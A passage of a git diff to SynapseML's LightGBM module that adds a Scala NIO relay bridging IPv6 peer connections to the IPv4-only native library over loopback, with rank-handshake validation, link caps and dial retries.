+ + private[lightgbm] def maxLinksFor(machineCount: Int): Int = machineCount * RelayedConnectionsPerMachine +} + +/** Owns the sockets and the single relay loop for one task. Created through its companion's `open`. */ +private[lightgbm] final class LightGBMNetworkBridge private(entries: Seq[WorkerEndpoint], + rank: Int, + advertisedPort: Int, + log: Logger, + connectTimeoutMillis: Long, + handshakeTimeoutMillis: Long, + connectAttempt: LightGBMNetworkRelay.ConnectAttempt) + extends Closeable { + import LightGBMNetworkBridge._ + + /** The name the relay thread of this bridge carries, so a thread dump attributes it. */ + private[lightgbm] val threadNamePrefix: String = s"lightgbm-network-bridge-${nextBridgeId()}-rank$rank" + + private val relay = new LightGBMNetworkRelay(threadNamePrefix, log, maxLinksFor(entries.length), + connectTimeoutMillis, handshakeTimeoutMillis, connectAttempt) + private val listeners = mutable.ListBuffer.empty[ServerSocketChannel] + private var nativeListenPort: Int = -1 + private var bridgedMachineList: String = "" + + /** The values to pass to the native LGBM_NetworkInit call. */ + def bridgedNetwork: BridgedNetwork = synchronized { + require(nativeListenPort > 0, "The LightGBM network bridge has not been started") + BridgedNetwork(bridgedMachineList, nativeListenPort, entries.length, rank) + } + + /** A failure the relay could not retry away, which leaves this task's transport unusable. */ + def terminalFailure: Option[Throwable] = relay.failure + + private[lightgbm] def relayLinkCount: Int = relay.linkCount + + private[lightgbm] def isRunning: Boolean = relay.isLoopAlive + + private[lightgbm] def start(): Unit = synchronized { + // Resolve every peer before binding anything, so an unreachable address fails immediately. + val peerAddresses = entries.zipWithIndex.map { case (entry, index) => + if (index == rank || !entry.isIpv6Literal) None else Some(resolvePeer(entry, log)) + } + + // Own the advertised port first: it is the only port peers know, and taking it before the + // native port is chosen guarantees the two cannot collide. + val inbound = bindWildcard(advertisedPort) + nativeListenPort = findFreePort() + relay.expectInboundRanks((0 until rank).toSet) + relay.start() + + val bridgedEntries = entries.zipWithIndex.map { case (entry, index) => + if (index == rank) { + WorkerEndpoint.wireString(LoopbackHost, nativeListenPort) + } else { + peerAddresses(index) + .map(address => WorkerEndpoint.wireString(LoopbackHost, startOutboundRelay(index, entry, address))) + .getOrElse(entry.wireString) + } + } + bridgedMachineList = formatMachineList(rank, bridgedEntries) + + relay.addInboundListener(inbound) + // Claim every slot of the native listener from loopback, so it closes as soon as it opens. + val nativeAddress = new InetSocketAddress(InetAddress.getByName(LoopbackHost), nativeListenPort) + (0 until rank).foreach(peerRank => relay.primeNativeLink(nativeAddress, peerRank)) + + log.info(s"LightGBM IPv6 network bridge is rank $rank of ${entries.length}, relaying peer traffic from " + + s"advertised port $advertisedPort to native listen port $nativeListenPort with machine list " + + s"$bridgedMachineList") + } + + private def startOutboundRelay(index: Int, entry: WorkerEndpoint, address: InetAddress): Int = { + val listener = bindLoopback() + relay.addOutboundListener(listener, new InetSocketAddress(address, entry.port), + s"LightGBM machine $index at ${entry.wireString}") + listener.socket().getLocalPort + } + + private def bindWildcard(port: Int): ServerSocketChannel = { + val listener = ServerSocketChannel.open() + NetworkManagerSocketSupport.withCleanupOnFailurePreservingPrimary(closeQuietly(listener)) { + // A wildcard bind is dual stack, so peers reach this port over either address family. + listener.bind(new InetSocketAddress(port)) + listeners += listener + listener + } + } + + private def bindLoopback(): ServerSocketChannel = { + val listener = ServerSocketChannel.open() + NetworkManagerSocketSupport.withCleanupOnFailurePreservingPrimary(closeQuietly(listener)) { + listener.bind(new InetSocketAddress(InetAddress.getByName(LoopbackHost), 0)) + listeners += listener + listener + } + } + + /** Pick a port for the native listener. Only this bridge ever dials it, over loopback. */ + private def findFreePort(): Int = { + val probe = ServerSocketChannel.open() + try { + probe.bind(new InetSocketAddress(0)) + probe.socket().getLocalPort + } finally { + closeQuietly(probe) + } + } + + private def closeQuietly(resource: Closeable): Unit = { + try { + resource.close() + } catch { + case NonFatal(failure) => log.debug("LightGBM network bridge could not close a channel", failure) + } + } + + /** Release every relay socket and the loop thread. Safe to call more than once and from any thread. */ + override def close(): Unit = { + relay.close() + val current = synchronized { + val snapshot = listeners.toSeq + listeners.clear() + snapshot + } + current.foreach(closeQuietly) + } +} diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMNetworkRelay.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMNetworkRelay.scala new file mode 100644 index 00000000000..01ecb9ae7bb --- /dev/null +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMNetworkRelay.scala @@ -0,0 +1,668 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm + +import org.slf4j.Logger + +import java.io.{Closeable, IOException} +import java.net.{InetSocketAddress, StandardSocketOptions} +import java.nio.channels.{SelectionKey, Selector, ServerSocketChannel, SocketChannel} +import java.nio.{ByteBuffer, ByteOrder} +import java.util.concurrent.ConcurrentLinkedQueue +import java.util.concurrent.atomic.{AtomicBoolean, AtomicInteger, AtomicReference} +import scala.annotation.tailrec +import scala.collection.JavaConverters._ +import scala.collection.mutable +import scala.util.control.NonFatal + +private[lightgbm] object LightGBMNetworkRelay { + /** LightGBM opens every link by sending its own rank as a host endian int. */ + val RankBytes: Int = 4 + + /** How a dial reaches its address. Injected so tests can fail a connect the way a route can. */ + type ConnectAttempt = (SocketChannel, InetSocketAddress) => Boolean + + val DefaultConnect: ConnectAttempt = (channel, address) => channel.connect(address) + + private val BufferSize: Int = 65536 + private val SocketBufferSize: Int = 100000 + private val SelectTimeoutMillis: Long = 100L + private val ShutdownWaitMillis: Long = 2000L + private val RetryIntervalMillis: Long = 5L + private val MaxRetryIntervalMillis: Long = 200L + + private final case class Timer(deadline: Long, action: () => Unit) + + private val TimerOrder: Ordering[Timer] = Ordering.by[Timer, Long](-_.deadline) + + private[lightgbm] def rankBuffer(rank: Int): ByteBuffer = + ByteBuffer.allocate(RankBytes).order(ByteOrder.nativeOrder()).putInt(rank) +} + +/** The event loop that moves LightGBM traffic between peers and the native library. + * + * One selector thread serves every listener and every relayed link, so the thread count of a + * bridge is one no matter how many machines the training network has. Memory is bounded the same + * way: two fixed buffers per relayed link, and links are capped, so nothing scales with peers + * except the sockets LightGBM itself would have opened. + * + * The loop also owns the LightGBM link handshake. A machine opens a link by sending its rank, so + * an inbound connection has to produce a valid, unused, lower rank within a deadline before any of + * its bytes reach the native library. Connections that stall, repeat a rank, or claim a rank the + * topology does not have are closed here instead of stalling the native listener thread, which has + * no timeout of its own. + * + * Every dial goes through one retry policy, whether the failure arrives synchronously (a connect + * to an address with no route fails on the calling thread) or asynchronously, and a failure while + * handling an accepted connection never reaches the listener that accepted it. What cannot be + * retried is recorded as a terminal failure, which the caller surfaces instead of leaving a task + * waiting on a transport that will not recover. + */ +private[lightgbm] final class LightGBMNetworkRelay(threadName: String, + log: Logger, + maxLinks: Int, + connectTimeoutMillis: Long, + handshakeTimeoutMillis: Long, + connectAttempt: LightGBMNetworkRelay.ConnectAttempt = + LightGBMNetworkRelay.DefaultConnect) extends Closeable { + import LightGBMNetworkRelay._ + + private val selector: Selector = Selector.open() + private val tasks = new ConcurrentLinkedQueue[() => Unit]() + private val timers = mutable.PriorityQueue.empty[Timer](TimerOrder) + private val closed = new AtomicBoolean(false) + private val started = new AtomicBoolean(false) + private val liveLinks = new AtomicInteger(0) + private val terminalFailure = new AtomicReference[Option[Throwable]](None) + private val resources = mutable.Set.empty[Closeable] + + // Only the loop thread touches these. + private var expectedInboundRanks: Set[Int] = Set.empty + private val primedNativeLinks = mutable.Map.empty[Int, SocketChannel] + private val peersAwaitingNativeLink = mutable.Map.empty[Int, (SocketChannel, LinkSlot)] + private val linkedRanks = mutable.Set.empty[Int] + + private val loopThread: Thread = { + val thread = new Thread(new Runnable { + override def run(): Unit = runLoop() + }, threadName) + thread.setDaemon(true) + thread + } + + /** The ranks allowed to open a link to this task, which LightGBM defines as the lower ranks. */ + def expectInboundRanks(ranks: Set[Int]): Unit = submit(() => expectedInboundRanks = ranks) + + def start(): Unit = if (started.compareAndSet(false, true)) loopThread.start() + + def linkCount: Int = liveLinks.get() + + /** A failure the relay cannot retry away, which leaves this task's transport unusable. */ + def failure: Option[Throwable] = terminalFailure.get() + + private[lightgbm] def isLoopAlive: Boolean = loopThread.isAlive + + /** Accept peer connections, which must pass the rank handshake before they are relayed. */ + def addInboundListener(listener: ServerSocketChannel): Unit = + register(listener, SelectionKey.OP_ACCEPT, new InboundAcceptor) + + /** Accept the native library's link to one peer and forward it to that peer's real address. */ + def addOutboundListener(listener: ServerSocketChannel, + target: InetSocketAddress, + description: String): Unit = + register(listener, SelectionKey.OP_ACCEPT, new OutboundAcceptor(target, description)) + + /** Take one of the native listener's link slots before anyone else can. + * + * The native listener accepts exactly one link per lower rank and then closes, so filling those + * slots from loopback as soon as the port is bound keeps every other caller out of a listener + * that the native library binds on all interfaces and that this library cannot rebind. + */ + def primeNativeLink(nativeAddress: InetSocketAddress, peerRank: Int): Unit = + submit(() => dialNative(nativeAddress, peerRank, System.currentTimeMillis() + connectTimeoutMillis, + RetryIntervalMillis)) + + override def close(): Unit = { + if (closed.compareAndSet(false, true)) { + selector.wakeup() + // Cleanup runs on a cancelled Spark task too, where the thread is already interrupted, so the + // wait for the loop has to survive that and hand the interrupt back to the caller. + if (started.get()) { + try { + loopThread.join(ShutdownWaitMillis) + } catch { + case _: InterruptedException => Thread.currentThread().interrupt() + } + } + closeEverything() + closeQuietly(selector) + log.info(s"$threadName closed") + } + } + + private def recordTerminalFailure(reason: String, failure: Throwable): Unit = { + log.error(s"$threadName $reason", failure) + terminalFailure.compareAndSet(None, Some(new IOException(s"$threadName $reason", failure))) + } + + private def submit(task: () => Unit): Unit = { + tasks.add(task) + selector.wakeup() + } + + private def register(channel: java.nio.channels.SelectableChannel, + ops: Int, + handler: Handler): Unit = { + track(channel) + submit(() => { + channel.configureBlocking(false) + channel.register(selector, ops, handler) + () + }) + } + + private def track(resource: Closeable): Unit = synchronized { + if (closed.get()) closeQuietly(resource) else resources += resource + } + + private def closeEverything(): Unit = { + val snapshot = synchronized { + val current = resources.toSeq + resources.clear() + current + } + snapshot.foreach(closeQuietly) + } + + private def closeQuietly(resource: Closeable): Unit = { + try { + resource.close() + } catch { + case NonFatal(failure) => log.debug(s"$threadName could not close a channel", failure) + } + } + + @tailrec + private def runLoop(): Unit = { + if (!closed.get()) { + step() + runLoop() + } + } + + private def step(): Unit = { + try { + runTasks() + selector.select(SelectTimeoutMillis) + processSelectedKeys() + runTimers() + } catch { + case NonFatal(failure) => if (!closed.get()) log.warn(s"$threadName event loop iteration failed", failure) + } + } + + @tailrec + private def runTasks(): Unit = { + val task = tasks.poll() + if (task != None.orNull) { + try { + task() + } catch { + case NonFatal(failure) => recordTerminalFailure("could not apply a registration", failure) + } + runTasks() + } + } + + private def processSelectedKeys(): Unit = { + val selected = selector.selectedKeys() + val snapshot = selected.asScala.toSeq + selected.clear() + snapshot.foreach(handleKey) + } + + private def handleKey(key: SelectionKey): Unit = { + val handler = key.attachment().asInstanceOf[Handler] + try { + if (key.isValid && key.isAcceptable) handler.onAcceptable(key) + if (key.isValid && key.isConnectable) handler.onConnectable(key) + if (key.isValid && (key.isReadable || key.isWritable)) handler.onReadWrite(key) + } catch { + case NonFatal(failure) => handler.onFailure(key, failure) + } + } + + private def runTimers(): Unit = { + val now = System.currentTimeMillis() + val due = mutable.ListBuffer.empty[Timer] + + @tailrec + def collect(): Unit = { + if (timers.nonEmpty && timers.head.deadline <= now) { + due += timers.dequeue() + collect() + } + } + + collect() + due.foreach { timer => + try { + timer.action() + } catch { + // A retry that cannot even be started is terminal: nothing else will drive it. + case NonFatal(failure) => recordTerminalFailure("could not run a scheduled retry", failure) + } + } + } + + private def scheduleAt(delayMillis: Long)(action: => Unit): Unit = + timers.enqueue(Timer(System.currentTimeMillis() + delayMillis, () => action)) + + private def openChannel(): SocketChannel = { + val channel = SocketChannel.open() + channel.configureBlocking(false) + configure(channel) + track(channel) + channel + } + + private def configure(channel: SocketChannel): Unit = { + try { + channel.setOption[java.lang.Boolean](StandardSocketOptions.TCP_NODELAY, true) + channel.setOption[Integer](StandardSocketOptions.SO_RCVBUF, SocketBufferSize) + channel.setOption[Integer](StandardSocketOptions.SO_SNDBUF, SocketBufferSize) + } catch { + case NonFatal(failure) => log.debug(s"$threadName could not configure a channel", failure) + } + } + + /** One admitted link, released exactly once however its life ends. */ + private final class LinkSlot { + private val released = new AtomicBoolean(false) + + def release(): Unit = if (released.compareAndSet(false, true)) liveLinks.decrementAndGet() + } + + /** Admit a link only while the topology could still need one. */ + private def admit(): Option[LinkSlot] = { + if (liveLinks.get() >= maxLinks) { + None + } else { + liveLinks.incrementAndGet() + Some(new LinkSlot) + } + } + + private def splice(first: SocketChannel, second: SocketChannel, slot: LinkSlot): Unit = + new RelayLink(first, second, slot).register() + + /** Open, register, and start a dial, so a synchronous failure follows the same policy as a late one. */ + private def beginDial(address: InetSocketAddress, + onConnected: SocketChannel => Unit, + onFailed: Throwable => Unit): Unit = { + val opened = try { + Some(openChannel()) + } catch { + case NonFatal(failure) => + onFailed(failure) + None + } + opened.foreach { channel => + try { + val key = channel.register(selector, SelectionKey.OP_CONNECT, new Dialer(channel, onConnected, onFailed)) + // A connect to an address with no route fails here rather than through the selector. + if (connectAttempt(channel, address)) { + key.interestOps(0) + onConnected(channel) + } + } catch { + case NonFatal(failure) => + closeQuietly(channel) + onFailed(failure) + } + } + } + + private def retryOrGiveUp(deadline: Long, + interval: Long, + failure: Throwable, + retry: Long => Unit, + giveUp: Throwable => Unit): Unit = { + if (!closed.get()) { + if (System.currentTimeMillis() >= deadline) { + giveUp(failure) + } else { + scheduleAt(interval)(retry(math.min(interval * 2, MaxRetryIntervalMillis))) + } + } + } + + private def dialNative(address: InetSocketAddress, peerRank: Int, deadline: Long, interval: Long): Unit = { + if (!closed.get()) { + beginDial(address, + channel => { + sendRank(channel, peerRank) + log.info(s"$threadName claimed the native link slot for rank $peerRank") + nativeLinkReady(channel, peerRank) + }, + failure => retryOrGiveUp(deadline, interval, failure, + next => dialNative(address, peerRank, deadline, next), + giveUp => nativeLinkFailed(peerRank, giveUp))) + } + } + + private def dialPeer(native: SocketChannel, + slot: LinkSlot, + address: InetSocketAddress, + description: String, + deadline: Long, + interval: Long): Unit = { + if (!closed.get()) { + beginDial(address, + channel => splice(native, channel, slot), + failure => retryOrGiveUp(deadline, interval, failure, + next => dialPeer(native, slot, address, description, deadline, next), + giveUp => { + recordTerminalFailure(s"could not reach $description, so its LightGBM link cannot be relayed", giveUp) + slot.release() + closeQuietly(native) + })) + } + } + + private def sendRank(channel: SocketChannel, rank: Int): Unit = { + val buffer = rankBuffer(rank) + buffer.flip() + + @tailrec + def write(attemptsLeft: Int): Unit = { + if (buffer.hasRemaining && attemptsLeft > 0) { + channel.write(buffer) + write(attemptsLeft - 1) + } + } + + write(RankBytes) + if (buffer.hasRemaining) throw new IOException(s"$threadName could not send a rank in one write") + } + + /** Hand a peer's connection to the native link slot already claimed for its rank. */ + private def linkPeerToNative(peer: SocketChannel, rank: Int, slot: LinkSlot): Unit = { + primedNativeLinks.remove(rank) match { + case Some(nativeChannel) => splice(peer, nativeChannel, slot) + case None => peersAwaitingNativeLink.put(rank, (peer, slot)).foreach { case (previous, previousSlot) => + previousSlot.release() + closeQuietly(previous) + } + } + } + + private def nativeLinkReady(nativeChannel: SocketChannel, rank: Int): Unit = { + peersAwaitingNativeLink.remove(rank) match { + case Some((peer, slot)) => splice(peer, nativeChannel, slot) + case None => primedNativeLinks.put(rank, nativeChannel).foreach(closeQuietly) + } + } + + private def nativeLinkFailed(rank: Int, failure: Throwable): Unit = { + recordTerminalFailure(s"could not claim the native link slot for rank $rank, so the native listener " + + "may keep waiting for a link that will never arrive", failure) + peersAwaitingNativeLink.remove(rank).foreach { case (peer, slot) => + slot.release() + closeQuietly(peer) + } + } + + private trait Handler { + def onAcceptable(key: SelectionKey): Unit = () + def onConnectable(key: SelectionKey): Unit = () + def onReadWrite(key: SelectionKey): Unit = () + def onFailure(key: SelectionKey, failure: Throwable): Unit = { + log.debug(s"$threadName closing a channel after a failure", failure) + key.cancel() + closeQuietly(key.channel()) + } + } + + /** A listener outlives the connections it accepts, so their failures never close it. */ + private trait ListenerHandler extends Handler { + override def onFailure(key: SelectionKey, failure: Throwable): Unit = { + if (!key.channel().isOpen) { + key.cancel() + if (!closed.get()) recordTerminalFailure("lost a listening socket", failure) + } else if (!closed.get()) { + log.warn(s"$threadName ignored a failure while accepting; the listener stays open", failure) + } + } + + /** Handle one accepted connection without ever letting its failure reach the listener. */ + protected def guard(accepted: SocketChannel, slot: Option[LinkSlot])(work: => Unit): Unit = { + try { + work + } catch { + case NonFatal(failure) => + log.warn(s"$threadName dropped an accepted connection", failure) + slot.foreach(_.release()) + closeQuietly(accepted) + } + } + } + + /** Accepts peer connections, which have to pass the rank handshake before they are relayed. */ + private final class InboundAcceptor extends ListenerHandler { + override def onAcceptable(key: SelectionKey): Unit = { + val listener = key.channel().asInstanceOf[ServerSocketChannel] + Option(listener.accept()).foreach { peer => + // Whether a link is wanted at all is decided before admission, so refusing one here can + // never consume a slot that the outbound links to peers also draw on. + if (expectedInboundRanks.isEmpty) { + log.warn(s"$threadName refused a connection from ${remoteAddress(peer)}: this task is the lowest " + + "rank, so no machine opens a link to it") + closeQuietly(peer) + } else { + admitPeer(peer) + } + } + } + + private def admitPeer(peer: SocketChannel): Unit = { + admit() match { + case None => + log.warn(s"$threadName refused a connection from ${remoteAddress(peer)}: this task expects " + + s"${expectedInboundRanks.size} inbound links and already holds ${liveLinks.get()}") + closeQuietly(peer) + case Some(slot) => guard(peer, Some(slot))(beginHandshake(peer, slot)) + } + } + + private def beginHandshake(peer: SocketChannel, slot: LinkSlot): Unit = { + peer.configureBlocking(false) + configure(peer) + track(peer) + val handshake = new RankHandshake(peer, slot) + peer.register(selector, SelectionKey.OP_READ, handshake) + scheduleAt(handshakeTimeoutMillis)(handshake.onDeadline()) + } + } + + /** Reads and validates the rank a peer sends before any of its bytes reach the native library. */ + private final class RankHandshake(peer: SocketChannel, slot: LinkSlot) extends Handler { + private val buffer = ByteBuffer.allocate(RankBytes) + private var settled = false + + override def onReadWrite(key: SelectionKey): Unit = { + val count = peer.read(buffer) + if (count < 0) { + reject(key, "closed the connection before sending its rank") + } else if (!buffer.hasRemaining) { + complete(key) + } + } + + def onDeadline(): Unit = { + if (!settled) { + settled = true + slot.release() + log.warn(s"$threadName closed a connection from ${remoteAddress(peer)} that did not send a " + + s"LightGBM rank within ${handshakeTimeoutMillis}ms") + closeQuietly(peer) + } + } + + override def onFailure(key: SelectionKey, failure: Throwable): Unit = reject(key, s"failed: $failure") + + private def complete(key: SelectionKey): Unit = { + buffer.flip() + val rank = buffer.order(ByteOrder.nativeOrder()).getInt + if (!expectedInboundRanks.contains(rank)) { + reject(key, s"claimed rank $rank, which is not one of the lower ranks this task expects") + } else if (!linkedRanks.add(rank)) { + reject(key, s"claimed rank $rank, which is already linked") + } else { + settled = true + // The key is reused by the relayed link, so it must not be cancelled here. + key.interestOps(0) + log.info(s"$threadName accepted the link from rank $rank at ${remoteAddress(peer)}") + linkPeerToNative(peer, rank, slot) + } + } + + private def reject(key: SelectionKey, reason: String): Unit = { + if (!settled) { + settled = true + slot.release() + log.warn(s"$threadName refused a connection from ${remoteAddress(peer)}: it $reason") + } + key.cancel() + closeQuietly(peer) + } + } + + /** Accepts the native library's link to one peer and forwards it to that peer's real address. */ + private final class OutboundAcceptor(target: InetSocketAddress, description: String) extends ListenerHandler { + override def onAcceptable(key: SelectionKey): Unit = { + val listener = key.channel().asInstanceOf[ServerSocketChannel] + Option(listener.accept()).foreach { native => + admit() match { + case None => + log.warn(s"$threadName refused a native link to $description beyond the $maxLinks links " + + "this topology can need") + closeQuietly(native) + case Some(slot) => guard(native, Some(slot)) { + native.configureBlocking(false) + configure(native) + track(native) + native.register(selector, 0, new Handler {}) + dialPeer(native, slot, target, description, + System.currentTimeMillis() + connectTimeoutMillis, RetryIntervalMillis) + } + } + } + } + } + + /** A non blocking connect whose outcome, early or late, is handed to the same policy. */ + private final class Dialer(channel: SocketChannel, + onConnected: SocketChannel => Unit, + onFailed: Throwable => Unit) extends Handler { + override def onConnectable(key: SelectionKey): Unit = { + if (channel.finishConnect()) { + key.interestOps(0) + onConnected(channel) + } + } + + override def onFailure(key: SelectionKey, failure: Throwable): Unit = { + key.cancel() + closeQuietly(channel) + onFailed(failure) + } + } + + private def remoteAddress(channel: SocketChannel): String = + try { + Option(channel.getRemoteAddress).map(_.toString).getOrElse("an unknown address") + } catch { + case NonFatal(_) => "an unknown address" + } + + /** Two channels relayed in both directions, closed together. */ + private final class RelayLink(first: SocketChannel, second: SocketChannel, slot: LinkSlot) { + private val forward = new Direction(first, second) + private val backward = new Direction(second, first) + private val ended = new AtomicBoolean(false) + + def register(): Unit = { + first.register(selector, SelectionKey.OP_READ, new LinkEnd(this)) + second.register(selector, SelectionKey.OP_READ, new LinkEnd(this)) + pump() + } + + def pump(): Unit = { + forward.pump() + backward.pump() + if (forward.finished && backward.finished) { + finish() + } else { + updateInterest(first) + updateInterest(second) + } + } + + /** Any I/O failure ends both directions, so the other one can never wait on a dead channel. */ + def abort(failure: Throwable): Unit = { + log.debug(s"$threadName aborting a relayed link", failure) + finish() + } + + private def finish(): Unit = { + if (ended.compareAndSet(false, true)) { + slot.release() + closeQuietly(first) + closeQuietly(second) + } + } + + private def updateInterest(channel: SocketChannel): Unit = { + val key = channel.keyFor(selector) + if (key != None.orNull && key.isValid) { + val reading = Seq(forward, backward).find(_.source eq channel).exists(_.wantsRead) + val writing = Seq(forward, backward).find(_.target eq channel).exists(_.wantsWrite) + val ops = (if (reading) SelectionKey.OP_READ else 0) | (if (writing) SelectionKey.OP_WRITE else 0) + key.interestOps(ops) + } + } + } + + private final class LinkEnd(link: RelayLink) extends Handler { + override def onReadWrite(key: SelectionKey): Unit = link.pump() + + override def onFailure(key: SelectionKey, failure: Throwable): Unit = link.abort(failure) + } + + /** One half of a relayed link: read into a fixed buffer, write it out, then propagate the close. */ + private final class Direction(val source: SocketChannel, val target: SocketChannel) { + private val buffer = ByteBuffer.allocate(BufferSize) + private var sourceEnded = false + private var targetShutdown = false + + def wantsRead: Boolean = !sourceEnded && buffer.hasRemaining + + def wantsWrite: Boolean = buffer.position() > 0 + + def finished: Boolean = sourceEnded && buffer.position() == 0 && targetShutdown + + def pump(): Unit = { + if (wantsRead && source.read(buffer) < 0) sourceEnded = true + buffer.flip() + if (buffer.hasRemaining) target.write(buffer) + buffer.compact() + // A clean end of stream is passed on as a half close, which is what LightGBM sends. + if (sourceEnded && buffer.position() == 0 && !targetShutdown) { + target.shutdownOutput() + targetShutdown = true + } + } + } +} diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala index a0a40095840..9fe0905049c 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkManager.scala @@ -22,58 +22,6 @@ import scala.concurrent.duration.{Duration, SECONDS} import scala.language.existentials import scala.util.control.NonFatal -case class TaskMessageInfo(status: String, - taskHost: String, - localListenPort: Int, - partitionId: Int, - executorId: String) { - def this(status: String) = this(status, "", -1, -1, "") // Constructor for general messages, not Task-connected - - val isForTraining: Boolean = status == LightGBMConstants.EnabledTask - val isForLoadOnly: Boolean = status == LightGBMConstants.IgnoreStatus - val isFinished: Boolean = status == LightGBMConstants.FinishedStatus - - // Format all the information as a delimited string to send to driver - override def toString: String = s"$status:$taskHost:$localListenPort:$partitionId:$executorId" -} - -case class NetworkTopologyInfo(lightgbmNetworkString: String, - executorPartitionIdList: Array[Int], - localListenPort: Int) { - @transient private var portReservation: Option[Socket] = None - - private def currentPortReservation: Option[Socket] = Option(portReservation).flatten - - private[lightgbm] def hasPortReservation: Boolean = synchronized { - currentPortReservation.nonEmpty - } - - private[lightgbm] def retainPortReservation(reservation: Socket): NetworkTopologyInfo = synchronized { - require(!reservation.isClosed, "Cannot retain a closed port reservation") - require(reservation.isBound, "Cannot retain an unbound port reservation") - require(reservation.getLocalPort == localListenPort, - s"Port reservation ${reservation.getLocalPort} does not match topology port $localListenPort") - require(currentPortReservation.isEmpty, s"Port $localListenPort already has a reservation") - portReservation = Option(reservation) - this - } - - /** Release the temporary JVM reservation immediately before LightGBM binds the same port. - * - * The operation is idempotent so final cleanup can safely call it after any success or failure path. - */ - private[lightgbm] def releasePortReservation(): Unit = synchronized { - currentPortReservation.foreach { reservation => - try { - NetworkManager.closeSocketWithRetry(reservation) - } finally { - // Keep an open socket reachable for a later final-cleanup attempt. - if (reservation.isClosed) portReservation = None - } - } - } -} - object NetworkManager { private def addSuppressed(primaryFailure: Throwable, secondaryFailure: Throwable): Unit = NetworkManagerSocketSupport.addSuppressed(primaryFailure, secondaryFailure) @@ -222,9 +170,11 @@ object NetworkManager { // Get message to send to driver with info about this task val stageAttemptNumber = Option(TaskContext.get()).map(_.stageAttemptNumber()).getOrElse(0) + // A numeric IPv6 scope is an interface index that only means anything here, so it is + // replaced with the interface name before any peer sees it. val taskStatus = TaskMessageInfo( if (shouldExecuteTraining) LightGBMConstants.EnabledTask else LightGBMConstants.IgnoreStatus, - driverSocket.getLocalAddress.getHostAddress, + WorkerEndpoint.normalizeHost(driverSocket.getLocalAddress.getHostAddress), localListenPort, partitionId, LightGBMUtils.getExecutorId) // TODO can we use host for this? @@ -257,6 +207,7 @@ object NetworkManager { val executorPartitionIds: Array[Int] = parseExecutorPartitionList(partitionsByExecutorStr, taskStatus.executorId, log) NetworkTopologyInfo(lightGbmMachineList, executorPartitionIds, localListenPort) + .withAdvertisedHost(taskStatus.taskHost) }.get }.get } @@ -284,15 +235,59 @@ object NetworkManager { log, retry, delay, - () => LightGBMUtils.validate(lightgbmlib.LGBM_NetworkInit( - ctx.lightGBMNetworkString, - ctx.localListenPort, - LightGBMConstants.DefaultListenTimeout, - ctx.lightGBMNetworkMachineCount), "Network init"), + () => initNativeNetwork(ctx.networkTopologyInfo, ctx.lightGBMNetworkMachineCount, log), port => reserveExactPort(port, log), delayMillis => Thread.sleep(delayMillis)) } + /** Initialize the native LightGBM network, bridging the transport when the topology is IPv6. + * + * Native LightGBM only speaks IPv4, so an IPv6 topology is relayed by [[LightGBMNetworkBridge]] + * and the native library is given an equivalent loopback machine list. An IPv4 topology takes + * exactly the same path it always has, with no bridge, no relay threads, and no extra sockets. + */ + private[lightgbm] def initNativeNetwork(networkTopologyInfo: NetworkTopologyInfo, + machineCount: Int, + log: Logger, + nativeInit: (String, Int, Int) => Unit = nativeNetworkInit): Unit = { + val machineList = networkTopologyInfo.lightgbmNetworkString + if (!LightGBMNetworkBridge.requiresBridge(machineList)) { + nativeInit(machineList, networkTopologyInfo.localListenPort, machineCount) + } else { + log.info(s"LightGBM network $machineList contains IPv6 endpoints, which the native library cannot " + + "dial, so this task is bridging the transport") + val bridge = LightGBMNetworkBridge.open(machineList, + networkTopologyInfo.taskHost, + networkTopologyInfo.localListenPort, + log) + // A failed attempt has to give the advertised port back, because the retry re-reserves it. + withCleanupOnFailurePreservingPrimary(bridge.close()) { + val bridged = bridge.bridgedNetwork + // A relay that has already failed can never carry this network, and the native call would + // wait on links that will not arrive, so the attempt fails here instead. + failIfBridgeIsBroken(bridge) + nativeInit(bridged.machineList, bridged.localListenPort, bridged.machineCount) + failIfBridgeIsBroken(bridge) + networkTopologyInfo.retainNetworkBridge(bridge) + } + } + } + + /** Surface a relay failure as this task's failure, rather than training on a dead transport. */ + private[lightgbm] def failIfBridgeIsBroken(bridge: LightGBMNetworkBridge): Unit = { + bridge.terminalFailure.foreach { failure => + throw new Exception("The LightGBM IPv6 network bridge for this task failed, so its training " + + s"network cannot be established: ${failure.getMessage}", failure) + } + } + + private def nativeNetworkInit(machineList: String, localListenPort: Int, machineCount: Int): Unit = { + LightGBMUtils.validate(lightgbmlib.LGBM_NetworkInit(machineList, + localListenPort, + LightGBMConstants.DefaultListenTimeout, + machineCount), "Network init") + } + /** Retry native network initialization without leaving the advertised port open during backoff. */ private[lightgbm] def initLightGBMNetworkWithRetry(networkTopologyInfo: NetworkTopologyInfo, log: Logger, @@ -394,20 +389,15 @@ object NetworkManager { * Used to minimize network communication overhead in reduce step. * @return The main node's port number. */ + private[lightgbm] def parseHostAndPort(endpoint: String): (String, Int) = { + val parsed = WorkerEndpoint.parse(endpoint) + (parsed.host, parsed.port) + } + def getMainWorkerPort(nodes: String, log: Logger): Int = { - val nodesList = nodes.split(",") - if (nodesList.isEmpty) { - throw new Exception("Error: could not split nodes list correctly") - } - val mainNode = nodesList(0) - val hostAndPort = mainNode.split(":") - if (hostAndPort.length != 2) { - throw new Exception("Error: could not parse main worker host and port correctly") - } - val mainHost = hostAndPort(0) - val mainPort = hostAndPort(1) - log.info(s"LightGBM setting main worker host: $mainHost and port: $mainPort") - mainPort.toInt + val mainWorker = WorkerEndpoint.parseFirst(nodes) + log.info(s"LightGBM setting main worker host: ${mainWorker.host} and port: ${mainWorker.port}") + mainWorker.port } private def findOpenPort(ctx: TrainingContext, log: Logger): Socket = { @@ -467,7 +457,9 @@ case class NetworkManager(numTasks: Int, useBarrierExecutionMode: Boolean) extends Logging { private final class TaskConnection(val socket: Socket, val message: WorkerMessage) { - def networkInfoString: String = s"${message.taskHost}:${message.localListenPort}" + // The machine list is comma delimited and every entry is host:port, so an 